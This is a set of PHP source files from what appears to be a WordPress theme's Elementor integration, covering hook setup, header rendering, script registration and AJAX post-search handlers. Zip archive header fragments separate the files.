		$this->setup_hooks();
	}

	private function includes() {
		require PENCI_ELEMENTOR_PATH . 'includes/modules-manager.php';
		require PENCI_ELEMENTOR_PATH . 'includes/helper.php';
		require PENCI_ELEMENTOR_PATH . 'includes/utils.php';
	}

	private function setup_hooks() {
		add_action( 'elementor/init', array( $this, 'on_elementor_init' ) );
		add_action( 'elementor/controls/register', [ $this, 'register_controls' ] );
		add_action( 'elementor/elements/categories_registered', array( $this, 'widget_categories' ) );
		add_action( 'elementor/editor/after_enqueue_styles', array( $this, 'enqueue_editor_styles' ) );
		add_action( 'elementor/frontend/before_register_scripts', array( $this, 'register_frontend_scripts' ) );

		//handle select2 ajax search
		add_action( 'wp_ajax_penci_select2_search_post', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
		add_action( 'wp_ajax_nopriv_penci_select2_search_post', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );

		add_action( 'wp_ajax_penci_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
		add_action( 'wp_ajax_nopriv_penci_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );

		//custom font
		add_filter( 'elementor/fonts/groups', [ $this, 'register_fonts_groups' ] );
		add_filter( 'elementor/fonts/additional_fonts', [ $this, 'register_fonts_in_control' ] );

		add_action( 'wp_body_open', [ $this, 'elementor_pro_header' ] );
		add_action( 'elementor/init', [ $this, 'penci_clear_cache' ] );
	}

	public static function penci_clear_cache() {
		$cleared = get_option( 'penci_clear_cache' );
		if ( ! $cleared ) {
			\Elementor\Plugin::$instance->files_manager->clear_cache();
			update_option( 'penci_clear_cache', true );
		}
	}

	/**
	 * @return \Elementor\Plugin
	 */

	public static function elementor() {
		return \Elementor\Plugin::$instance;
	}


	public static function elementor_pro_header() {

		if ( ! function_exists( 'elementor_location_exits' ) ) {
			return;
		}

		$show_header = false;

		if ( elementor_location_exits( 'footer', true ) ) {
			$show_header = true;
		}

		if ( elementor_location_exits( 'header', true ) ) {
			$show_header = false;
		}

		if ( elementor_location_exits( 'header', true ) ) {
			$header_layout       = 'penci-elementor-pro-header';
			$penci_hide_header   = $show_page_title = false;
			$header_search_style = get_theme_mod( 'penci_topbar_search_style', 'default' );
			if ( is_page() ) {
				$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

				$show_page_title  = get_theme_mod( 'penci_pheader_show' );
				$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

				$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
				if ( 'enable' == $pheader_show ) {
					$show_page_title = true;
				} elseif ( 'disable' == $pheader_show ) {
					$show_page_title = false;
				}
			} else if ( is_single() ) {
				$penci_hide_header = penci_is_hide_header();
			}
			$class_wrapper_boxed = 'elementor-custom-header-template wrapper-boxed header-style-' . esc_attr( $header_layout );
			if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
				$class_wrapper_boxed .= ' enable-boxed';
			}
			if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
				$class_wrapper_boxed .= ' dark-layout-enabled';
			}
			if ( $penci_hide_header ) {
				$class_wrapper_boxed .= ' penci-page-hide-header';
			}
			if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
				$class_wrapper_boxed .= ' penci-hlogo-center';
			}

			$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );

			if ( $show_page_title && ! is_home() && ! is_front_page() ) {
				get_template_part( 'template-parts/page-header' );
			}

			echo '<div id="soledad_wrapper" class="' . $class_wrapper_boxed . '">';
		} else if ( $show_header ) {

			if ( get_theme_mod( 'penci_custom_code_after_body_tag' ) ):
				echo do_shortcode( get_theme_mod( 'penci_custom_code_after_body_tag' ) );
			endif;

			$penci_hide_header = $show_page_title = false;
			if ( is_page() ) {
				$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

				$show_page_title  = get_theme_mod( 'penci_pheader_show' );
				$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

				$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
				if ( 'enable' == $pheader_show ) {
					$show_page_title = true;
				} elseif ( 'disable' == $pheader_show ) {
					$show_page_title = false;
				}
			} else if ( is_single() ) {
				$penci_hide_header = penci_is_hide_header();
			}

			/**
			 * Get header layout in your customizer to change header layout
			 *
			 * @author PenciDesign
			 */
			$header_layout = penci_soledad_get_header_layout();
			$menu_style    = get_theme_mod( 'penci_header_menu_style' ) ? get_theme_mod( 'penci_header_menu_style' ) : 'menu-style-1';

			$header_class = $header_layout;
			if ( $header_layout == 'header-9' ) {
				$header_class = 'header-6 header-9';
			}

			if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
				get_template_part( 'template-parts/menu-hamburger' );
			}

			$class_wrapper_boxed = 'wrapper-boxed header-style-' . esc_attr( $header_layout );
			if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
				$class_wrapper_boxed .= ' enable-boxed';
			}
			if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
				$class_wrapper_boxed .= ' dark-layout-enabled';
			}
			if ( $penci_hide_header ) {
				$class_wrapper_boxed .= ' penci-page-hide-header';
			}
			if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
				$class_wrapper_boxed .= ' penci-hlogo-center';
			}

			$header_builder      = function_exists( 'penci_check_theme_mod' ) && penci_check_theme_mod() ? penci_check_theme_mod() : '';
			$header_search_style = ! empty( $header_builder ) ? penci_get_builder_mod( 'penci_header_search_style', 'showup' ) : get_theme_mod( 'penci_topbar_search_style', 'default' );
			$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );
			$custom_header_class = $header_builder ? ' pc-wrapbuilder-header' : '';
			?>
        <div id="soledad_wrapper" class="<?php echo esc_attr( $class_wrapper_boxed ); ?>">
			<?php
			if ( ! $penci_hide_header ) {

				do_action( 'penci_above_header_wrap' );

				echo '<div class="penci-header-wrap' . $custom_header_class . '">';

				get_template_part( 'template-parts/header/top-instagram' );

				if ( ! empty( $header_builder ) ) {

					if ( is_singular( 'penci-block' ) ) {
						return;
					}

					load_template( PENCI_SOLEDAD_DIR . '/inc/builder/template/desktop-builder.php' );

				} else {

					if ( get_theme_mod( 'penci_top_bar_show' ) ) {
						get_template_part( 'inc/modules/topbar' );
					}

					get_template_part( 'template-parts/header/' . $header_layout );
				}
				echo '</div>';

				if ( ! is_customize_preview() || ! isset( $_GET['layout_id'] ) ) {

					get_template_part( 'template-parts/header/mailchimp-below-header' );

					if ( is_home() || get_theme_mod( 'penci_featured_slider_all_page' ) ) {
						get_template_part( 'template-parts/header/feature-slider' );
					}

					if ( ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_signup_display_homepage' ) ) || ! get_theme_mod( 'penci_signup_display_homepage' ) ) {
						get_template_part( 'template-parts/header/mailchimp-below-header2' );
					}
				}
				do_action( 'penci_below_header_wrap' );
			}
			if ( $show_page_title && ! is_home() && ! is_front_page() ) {
				get_template_part( 'template-parts/page-header' );
			}

		}
	}

	/**
	 * @return Loader
	 */
	public static function instance() {
		if ( is_null( self::$_instance ) ) {
			self::$_instance = new self();
		}

		return self::$_instance;
	}

	public function register_fonts_groups( $font_groups ) {
		$new_groups = [];

		$new_groups['penci_custom_fonts'] = __( 'Penci Custom Fonts', 'soledad' );

		return array_replace( $new_groups, $font_groups );
	}

	public function register_fonts_in_control( $fonts ) {

		$custom_fonts = penci_get_custom_fonts();

		if ( ! empty( $custom_fonts ) ) {
			foreach ( $custom_fonts as $font_name => $font_title ) {
				$fonts[$font_name] = 'penci_custom_fonts';
			}
		}

		return $fonts;
	}

	/**
	 * @Register Control Select2
	 */
	public function register_controls( $controls_manager ) {
		require_once( __DIR__ . '/includes/select2.php' );
		require_once( __DIR__ . '/includes/autocomplete.php' );
		$controls_manager->register( new \PenciSoledadElementor\Controls\Select2() );
		$controls_manager->register( new \PenciSoledadElementor\Controls\Autocomplete() );
	}

	public function autoload( $class ) {
		if ( 0 !== strpos( $class, __NAMESPACE__ ) ) {
			return;
		}

		$has_class_alias = isset( $this->classes_aliases[ $class ] );

		// Backward Compatibility: Save old class name for set an alias after the new class is loaded
		if ( $has_class_alias ) {
			$class_alias_name = $this->classes_aliases[ $class ];
			$class_to_load    = $class_alias_name;
		} else {
			$class_to_load = $class;
		}

		if ( ! class_exists( $class_to_load ) ) {
			$filename = strtolower( preg_replace( array(
				'/^' . __NAMESPACE__ . '\\\/',
				'/([a-z])([A-Z])/',
				'/_/',
				'/\\\/'
			), array( '', '$1-$2', '-', DIRECTORY_SEPARATOR ), $class_to_load ) );
			$filename = PENCI_ELEMENTOR_PATH . $filename . '.php';

			if ( is_readable( $filename ) ) {
				include( $filename );
			}
		}

		if ( $has_class_alias ) {
			class_alias( $class_alias_name, $class );
		}
	}

	public function widget_categories( $elements_manager ) {
		// Add our categories
		$category_prefix = 'penci-';

		$elements_manager->add_category( $category_prefix . 'archive-builder', [
			'title' => '[PenciDesign] Archive Builder',
			'icon'  => 'fa fa-plug',
		] );

		// Hack into the private $categories member, and reorder it so our stuff is at the top
		$reorder_cats = function () use ( $category_prefix ) {
			uksort( $this->categories, function ( $keyOne, $keyTwo ) use ( $category_prefix ) {
				if ( substr( $keyOne, 0, 6 ) == $category_prefix ) {
					return - 1;
				}
				if ( substr( $keyTwo, 0, 6 ) == $category_prefix ) {
					return 1;
				}

				return 0;
			} );

		};

		$reorder_cats->call( $elements_manager );
	}

	/**
	 *  Editor enqueue styles.
	 */
	public function enqueue_editor_styles() {
		wp_enqueue_style( 'penci-elementor-editor', PENCI_ELEMENTOR_URL . 'assets/css/editor.css', array( 'elementor-editor' ), PENCI_SOLEDAD_VERSION );
	}

	public function enqueue_editor_scripts() {
		if ( defined( 'ELEMENTOR_PRO_VERSION' ) ) {
			return;
		}

		if ( version_compare( ELEMENTOR_VERSION, '3.0.0', '<' ) ) {
			wp_enqueue_script( 'penci-elementor', PENCI_ELEMENTOR_URL . 'assets/js/editor.bak.js', array( 'backbone-marionette' ), PENCI_SOLEDAD_VERSION, true );
		} else {
			wp_enqueue_script( 'penci-elementor', PENCI_ELEMENTOR_URL . 'assets/js/editor.min.js', array(
				'backbone-marionette',
				'elementor-common',
				'elementor-editor-modules',
				'elementor-editor-document',
			), PENCI_SOLEDAD_VERSION, true );
		}

		wp_localize_script( 'penci-elementor', 'PenciElementorConfig', array(
			'i18n'     => array(),
			'isActive' => true,
		) );
	}

	/**
	 * Register scripts
	 */
	public function register_frontend_scripts() {
		$api = get_theme_mod( 'penci_map_api_key', '' );
		if ( $api ) {
			$map_url = 'https://maps.google.com/maps/api/js?key=' . esc_attr( $api );
		} else {
			$map_url = 'https://cdnjs.cloudflare.com/ajax/libs/googlemaps-js-api-loader/1.16.8/index.min.js';
		}
		wp_register_script( 'google-map', esc_url( $map_url ), array(), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-amap', PENCI_SOLEDAD_URL . '/js/advance-gmaps.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'jquery.plugin', PENCI_SOLEDAD_URL . '/js/jquery.plugin.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'countdown', PENCI_SOLEDAD_URL . '/js/jquery.countdown.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'waypoints', PENCI_SOLEDAD_URL . '/js/waypoints.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-content-accordion', PENCI_SOLEDAD_URL . '/js/content-accordion.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-image-compare', PENCI_SOLEDAD_URL . '/js/image-compare.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'jquery-counterup', PENCI_SOLEDAD_URL . '/js/jquery.counterup.min.js', array(
			'jquery',
			'waypoints'
		), '1.0', true );
		wp_register_script( 'penci-button-popup', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/penci-button-popup.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-custom-carousel', PENCI_SOLEDAD_URL . '/js/custom-carousel-front.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-el-toc', PENCI_SOLEDAD_URL . '/js/penci-el-toc.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-sticky-container', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/sticky.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-header-search', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/search.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_script( 'penci-formula', PENCI_SOLEDAD_URL . '/js/formula.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-jstat', PENCI_SOLEDAD_URL . '/js/jstat.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_script( 'penci-advanced-calculator', PENCI_SOLEDAD_URL . '/js/advanced-calculator.js', array( 'jquery', 'penci-formula', 'penci-jstat' ), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_style( 'penci-hover-box', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/hoverbox.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-hover-box', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/hoverbox.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_style( 'penci-circle-menu', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/circlemenu.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-circle-menu', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/circlemenu.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
		
		wp_register_style( 'penci-circle-info', PENCI_SOLEDAD_URL . '/inc/elementor/assets/css/circleinfo.css', array(), PENCI_SOLEDAD_VERSION );
		wp_register_script( 'penci-circle-info', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/circleinfo.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
				
		wp_register_script( 'penci-marquee-el', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/marquee.js', array('jquery','gsap'), PENCI_SOLEDAD_VERSION, true );
		
		if ( did_action( 'elementor/loaded' ) ) {
			$kit = Plugin::$instance->kits_manager->get_active_kit();
			$is_global_image_lightbox_enabled = 'yes' === $kit->get_settings( 'global_image_lightbox' );

			if ( $is_global_image_lightbox_enabled ) {
				wp_enqueue_script( 'penci-el-lightbox', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/lightbox.js', array('jquery'), PENCI_SOLEDAD_VERSION, true );
			}
		}
	}

	public function on_elementor_init() {
		$this->modules_manager = new Manager();
	}

	public function select2_ajax_posts_filter_autocomplete() {
		$post_type   = 'any';
		$source_name = 'post_type';

		if ( ! empty( $_GET['post_type'] ) && 'by_id' != $_GET['post_type'] && 'current_query' != $_GET['post_type'] && 'related_posts' != $_GET['post_type'] ) {
			$post_type = sanitize_text_field( $_GET['post_type'] );
		}

		if ( ! empty( $_GET['source_name'] ) ) {
			$source_name = sanitize_text_field( $_GET['source_name'] );
		}

		$search  = ! empty( $_GET['term'] ) ? sanitize_text_field( $_GET['term'] ) : '';
		$results = $post_list = [];
		switch ( $source_name ) {
			case 'taxonomy':
				$post_list = wp_list_pluck( get_terms( $post_type, [
					'hide_empty' => false,
					'orderby'    => 'name',
					'order'      => 'ASC',
					'search'     => $search,
					'number'     => '10',
				] ), 'name', 'term_id' );
				break;
			default:
				$post_list = $this->get_query_post_list( $post_type, 10, $search );
		}

		if ( ! empty( $post_list ) ) {
			foreach ( $post_list as $key => $item ) {
				$results[] = [ 'text' => $item, 'id' => $key ];
			}
		}
		wp_send_json( [ 'results' => $results ] );
	}

	public function get_query_post_list( $post_type = 'any', $limit = - 1, $search = '' ) {
		global $wpdb;
		$where = '';
		$data  = [];

		if ( - 1 == $limit ) {
			$limit = '';
		} elseif ( 0 == $limit ) {
			$limit = "limit 0,1";
		} else {
			$limit = $wpdb->prepare( " limit 0,%d", esc_sql( $limit ) );
		}

		if ( 'any' === $post_type ) {
			$in_search_post_types = get_post_types( [ 'exclude_from_search' => false ] );
			if ( empty( $in_search_post_types ) ) {
				$where .= ' AND 1=0 ';
			} else {
				$where .= " AND {$wpdb->posts}.post_type IN ('" . join( "', '", array_map( 'esc_sql', $in_search_post_types ) ) . "')";
			}
		} elseif ( ! empty( $post_type ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_type = %s", esc_sql( $post_type ) );
		}

		if ( ! empty( $search ) ) {
			$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_title LIKE %s", '%' . esc_sql( $search ) . '%' );
		}

		$query   = "select post_title,ID  from $wpdb->posts where post_status = 'publish' $where $limit";
		$results = $wpdb->get_results( $query );
		if ( ! empty( $results ) ) {
			foreach ( $results as $row ) {
				$data[ $row->ID ] = $row->post_title;
			}
		}

		return $data;
	}

	public function select2_ajax_get_posts_value_titles() {
		if ( empty( array_filter( $_POST['id'] ) ) ) {
			wp_send_json_error( [] );
		}

		$ids         = array_map( 'intval', $_POST['id'] );
		$source_name = ! empty( $_POST['source_name'] ) ? sanitize_text_field( $_POST['source_name'] ) : '';

		switch ( $source_name ) {
			case 'taxonomy':
				$response = wp_list_pluck( get_terms( sanitize_text_field( $_POST['post_type'] ), [
					'hide_empty' => false,
					'orderby'    => 'name',
					'order'      => 'ASC',
					'include'    => implode( ',', $ids ),
				] ), 'name', 'term_id' );
				break;
			default:
				$post_info = get_posts( [
					'post_type' => sanitize_text_field( $_POST['post_type'] ),
					'include'   => implode( ',', $ids )
				] );
				$response  = wp_list_pluck( $post_info, 'post_title', 'ID' );
		}

		if ( ! empty( $response ) ) {
			wp_send_json_success( [ 'results' => $response ] );
		} else {
			wp_send_json_error( [] );
		}
	}
}

Loader::instance();

PK     0w\a.A    3  elementor/includes/penci_custom_walker_category.phpnu [        <?php


class Penci_Custom_Walker_Category extends Walker_Category {

	public function start_el( &$output, $category, $depth = 0, $args = array(), $id = 0 ) {
		/** This filter is documented in wp-includes/category-template.php */
		$cat_name = apply_filters(
			'list_cats',
			esc_attr( $category->name ),
			$category
		);

		// Don't generate an element if the category name is empty.
		if ( ! $cat_name ) {
			return;
		}

		$link = '<a class="pf-value" href="' . esc_url( get_term_link( $category ) ) . '" data-val="' . esc_attr( $category->slug ) . '" data-title="' . esc_attr( $category->name ) . '" ';
		if ( $args['use_desc_for_title'] && ! empty( $category->description ) ) {
			/**
			 * Filters the category description for display.
			 *
			 * @param string $description Category description.
			 * @param object $category Category object.
			 *
			 * @since 1.2.0
			 *
			 */
			$link .= 'title="' . esc_attr( strip_tags( apply_filters( 'category_description', $category->description, $category ) ) ) . '"';
		}

		$link .= '>';
		$link .= $cat_name . '</a>';

		if ( ! empty( $args['feed_image'] ) || ! empty( $args['feed'] ) ) {
			$link .= ' ';

			if ( empty( $args['feed_image'] ) ) {
				$link .= '(';
			}

			$link .= '<a href="' . esc_url( get_term_feed_link( $category->term_id, $category->taxonomy, $args['feed_type'] ) ) . '"';

			if ( empty( $args['feed'] ) ) {
				$alt = ' alt="' . sprintf( esc_html__( 'Feed for all posts filed under %s', 'soledad' ), $cat_name ) . '"';
			} else {
				$alt  = ' alt="' . $args['feed'] . '"';
				$name = $args['feed'];
				$link .= empty( $args['title'] ) ? '' : $args['title'];
			}

			$link .= '>';

			if ( empty( $args['feed_image'] ) ) {
				$link .= $name;
			} else {
				$link .= "<img src='" . $args['feed_image'] . "'$alt" . ' />';
			}
			$link .= '</a>';

			if ( empty( $args['feed_image'] ) ) {
				$link .= ')';
			}
		}

		if ( ! empty( $args['show_count'] ) ) {
			$link .= ' (' . number_format_i18n( $category->count ) . ')';
		}
		if ( 'list' == $args['style'] ) {
			$output      .= "\t<li";
			$css_classes = array(
				'cat-item',
				'cat-item-' . $category->term_id,
			);

			if ( ! empty( $args['current_category'] ) ) {
				// 'current_category' can be an array, so we use `get_terms()`.
				$_current_terms = get_terms(
					$category->taxonomy,
					array(
						'include'    => $args['current_category'],
						'hide_empty' => false,
					)
				);

				foreach ( $_current_terms as $_current_term ) {
					if ( $category->term_id == $_current_term->term_id ) {
						$css_classes[] = 'current-cat pf-active';
					} elseif ( $category->term_id == $_current_term->parent ) {
						$css_classes[] = 'current-cat-parent';
					}
					while ( $_current_term->parent ) {
						if ( $category->term_id == $_current_term->parent ) {
							$css_classes[] = 'current-cat-ancestor';
							break;
						}
						$_current_term = get_term( $_current_term->parent, $category->taxonomy );
					}
				}
			}

			/**
			 * Filters the list of CSS classes to include with each category in the list.
			 *
			 * @param array $css_classes An array of CSS classes to be applied to each list item.
			 * @param object $category Category data object.
			 * @param int $depth Depth of page, used for padding.
			 * @param array $args An array of wp_list_categories() arguments.
			 *
			 * @since 4.2.0
			 *
			 * @see wp_list_categories()
			 *
			 */
			$css_classes = implode( ' ', apply_filters( 'category_css_class', $css_classes, $category, $depth, $args ) );

			$output .= ' class="' . $css_classes . '"';
			$output .= ">$link\n";
		} elseif ( isset( $args['separator'] ) ) {
			$output .= "\t$link" . $args['separator'] . "\n";
		} else {
			$output .= "\t$link<br />\n";
		}
	}
}
PK     0w\    #  elementor/includes/autocomplete.phpnu [        <?php
/**
 * Elementor autocomplete controls
 *
 * @package soledad
 */

namespace PenciSoledadElementor\Controls;

use Elementor\Base_Data_Control;

/**
 * Elementor penci_el_autocomplete control.
 *
 * @since 1.0.0
 */
class Autocomplete extends Base_Data_Control {
	/**
	 * Get penci_el_autocomplete control type.
	 *
	 * Retrieve the control type, in this case `penci_el_autocomplete`.
	 *
	 * @return string Control type.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_type() {
		return 'penci_el_autocomplete';
	}

	/**
	 * Enqueue control scripts and styles.
	 *
	 * @since  1.0.0
	 * @access public
	 */
	public function enqueue() {
		wp_enqueue_script( 'penci_el_autocomplete-control', PENCI_SOLEDAD_URL . '/inc/elementor/assets/js/penci-el-autocomplete.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, false );
	}

	/**
	 * Render penci_el_autocomplete control output in the editor.
	 *
	 * Used to generate the control HTML in the editor using Underscore JS
	 * template. The variables for the class are available using `data` JS
	 * object.
	 *
	 * @since  1.0.0
	 * @access public
	 */
	public function content_template() {
		$control_uid = $this->get_control_uid();
		?>
        <div class="elementor-control-field">
            <label for="<?php echo esc_attr( $control_uid ); ?>" class="elementor-control-title">{{{ data.label
                }}}</label>
            <div class="elementor-control-input-wrapper">
                <# var multiple = ( data.multiple ) ? 'multiple' : ''; #>
                <select id="<?php echo esc_attr( $control_uid ); ?>" class="elementor-select2" type="select2" {{
                        multiple }} data-setting="{{ data.name }}" data-post-type="{{ data.post_type }}"
                        data-taxonomy="{{ data.taxonomy }}"
                        data-placeholder="<?php echo esc_attr__( 'Search', 'soledad' ); ?>">
                    <# _.each( data.options, function( option_title, option_value ) {
                    var value = data.controlValue;
                    if ( typeof value == 'string' ) {
                    var selected = ( option_value === value ) ? 'selected' : '';
                    } else if ( null !== value ) {
                    var value = _.values( value );
                    var selected = ( -1 !== value.indexOf( option_value ) ) ? 'selected' : '';
                    }
                    #>
                    <option {{ selected }} value="{{ option_value }}">{{{ option_title }}}</option>
                    <# } ); #>
                </select>
            </div>
        </div>
        <# if ( data.description ) { #>
        <div class="elementor-control-field-description">{{{ data.description }}}</div>
        <# } #>
		<?php
	}

	/**
	 * Get penci_el_autocomplete control default settings.
	 *
	 * Retrieve the default settings of the penci_el_autocomplete control. Used to return the
	 * default settings while initializing the penci_el_autocomplete control.
	 *
	 * @return array Control default settings.
	 * @since  1.8.0
	 * @access protected
	 *
	 */
	protected function get_default_settings() {
		return [
			'label_block' => true,
			'multiple'    => false,
			'taxonomy'    => false,
			'post_type'   => false,
			'options'     => [],
			'callback'    => '',
		];
	}
}
PK     0w\|T  T    elementor/includes/select2.phpnu [        <?php

namespace PenciSoledadElementor\Controls;

// If this file is called directly, abort.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

use Elementor\Base_Data_Control;

class Select2 extends Base_Data_Control {
	public function get_type() {
		return 'penci-select2';
	}

	public function enqueue() {
		wp_register_script( 'penci-select2', PENCI_ELEMENTOR_URL . 'assets/js/penci-select2.js', [ 'jquery-elementor-select2' ], '1.0.0', true );
		wp_localize_script( 'penci-select2', 'penci_select2_localize', [
				'ajaxurl'     => admin_url( 'admin-ajax.php' ),
				'search_text' => esc_html__( 'Search', 'soledad' ),
			] );
		wp_enqueue_script( 'penci-select2' );
	}

	public function content_template() {
		$control_uid = $this->get_control_uid();
		?>
        <# var controlUID = '<?php echo $control_uid; ?>'; #>
        <# var currentID = elementor.panel.currentView.currentPageView.model.attributes.settings.attributes[data.name]; #>
        <div class="elementor-control-field">
            <# if ( data.label ) { #>
            <label for="<?php echo $control_uid; ?>" class="elementor-control-title">{{{data.label }}}</label>
            <# } #>
            <div class="elementor-control-input-wrapper elementor-control-unit-5">
                <# var multiple = ( data.multiple ) ? 'multiple' : ''; #>
                <select id="<?php echo $control_uid; ?>" {{ multiple }} class="penci-select2"
                        data-setting="{{ data.name }}"></select>
            </div>
        </div>
        <#
        ( function( $ ) {
        $( document.body ).trigger( 'penci_select2_init',{currentID:currentID,data:data,controlUID:controlUID,multiple:data.multiple} );
        }( jQuery ) );
        #>
		<?php
	}

	protected function get_default_settings() {
		return [
			'multiple'    => true,
			'source_name' => 'post_type',
			'source_type' => 'post',
		];
	}
}
PK     0w\ǢOb
  b
    elementor/includes/utils.phpnu [        <?php

namespace PenciSoledadElementor\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Utils {

	/**
	 * @param array $args
	 *
	 * @return array
	 * @deprecated 2.0.5
	 *
	 */
	public static function get_post_types( $args = [] ) {
		_deprecated_function( __FUNCTION__, '2.0.5', 'Utils::get_public_post_types()' );

		return self::get_public_post_types( $args );
	}

	public static function get_public_post_types( $args = [] ) {
		$post_type_args = [
			// Default is the value $public.
			'show_in_nav_menus' => true,
		];

		if ( ! empty( $args['post_type'] ) ) {
			$post_type_args['name'] = $args['post_type'];
		}

		$_post_types = get_post_types( $post_type_args, 'objects' );

		$post_types = [];

		$exclude = [
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		];


		foreach ( $_post_types as $post_type => $object ) {
			if ( ! in_array( $post_type, $exclude ) ) {
				$post_types[ $post_type ] = $object->label;
			}
		}

		return $post_types;
	}

	public static function get_client_ip() {
		$server_ip_keys = [
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		];

		foreach ( $server_ip_keys as $key ) {
			if ( isset( $_SERVER[ $key ] ) && filter_var( $_SERVER[ $key ], FILTER_VALIDATE_IP ) ) {
				return $_SERVER[ $key ];
			}
		}

		// Fallback local ip.
		return '127.0.0.1';
	}

	public static function get_site_domain() {
		return str_ireplace( 'www.', '', parse_url( home_url(), PHP_URL_HOST ) );
	}

	/**
	 * Used to overcome core bug when taxonomy is in more then one post type
	 *
	 * @see https://core.trac.wordpress.org/ticket/27918
	 *
	 * @global array $wp_taxonomies The registered taxonomies.
	 *
	 *
	 * @param array $args
	 * @param string $output
	 * @param string $operator
	 *
	 * @return array
	 */
	public static function get_taxonomies( $args = [], $output = 'names', $operator = 'and' ) {
		global $wp_taxonomies;

		$field = ( 'names' === $output ) ? 'name' : false;

		// Handle 'object_type' separately.
		if ( isset( $args['object_type'] ) ) {
			$object_type = (array) $args['object_type'];
			unset( $args['object_type'] );
		}

		$taxonomies = wp_filter_object_list( $wp_taxonomies, $args, $operator );

		if ( isset( $object_type ) ) {
			foreach ( $taxonomies as $tax => $tax_data ) {
				if ( ! array_intersect( $object_type, $tax_data->object_type ) ) {
					unset( $taxonomies[ $tax ] );
				}
			}
		}

		if ( $field ) {
			$taxonomies = wp_list_pluck( $taxonomies, $field );
		}

		return $taxonomies;
	}
}
PK     0w\+\-  -    elementor/includes/helper.phpnu [        <?php

use Elementor\Group_Control_Image_Size;
use Elementor\Icons_Manager;
use Elementor\Plugin;
use Elementor\Utils;

require_once PENCI_SOLEDAD_DIR . '/inc/elementor/includes/penci_custom_walker_category.php';

if ( ! function_exists( 'penci_get_posts_by_query' ) ) {
	/**
	 * Get post by search
	 *
	 * @since 1.0.0
	 */
	function penci_get_posts_by_query() {
		$search_string = isset( $_POST['q'] ) ? sanitize_text_field( wp_unslash( $_POST['q'] ) ) : ''; // phpcs:ignore
		$post_type     = isset( $_POST['post_type'] ) ? $_POST['post_type'] : 'all'; // phpcs:ignore
		$results       = array();

		$default_query = array(
			's'              => $search_string,
			'posts_per_page' => - 1,
		);


		if ( $post_type != 'all' ) {
			$default_query['post_type'] = $post_type;
		}

		$query = new WP_Query( $default_query );

		if ( ! isset( $query->posts ) ) {
			return;
		}

		foreach ( $query->posts as $post ) {
			$results[] = array(
				'id'   => $post->ID,
				'text' => $post->post_title,
			);
		}

		wp_send_json( $results );
	}

	add_action( 'wp_ajax_penci_get_posts_by_query', 'penci_get_posts_by_query' );
	add_action( 'wp_ajax_nopriv_penci_get_posts_by_query', 'penci_get_posts_by_query' );
}

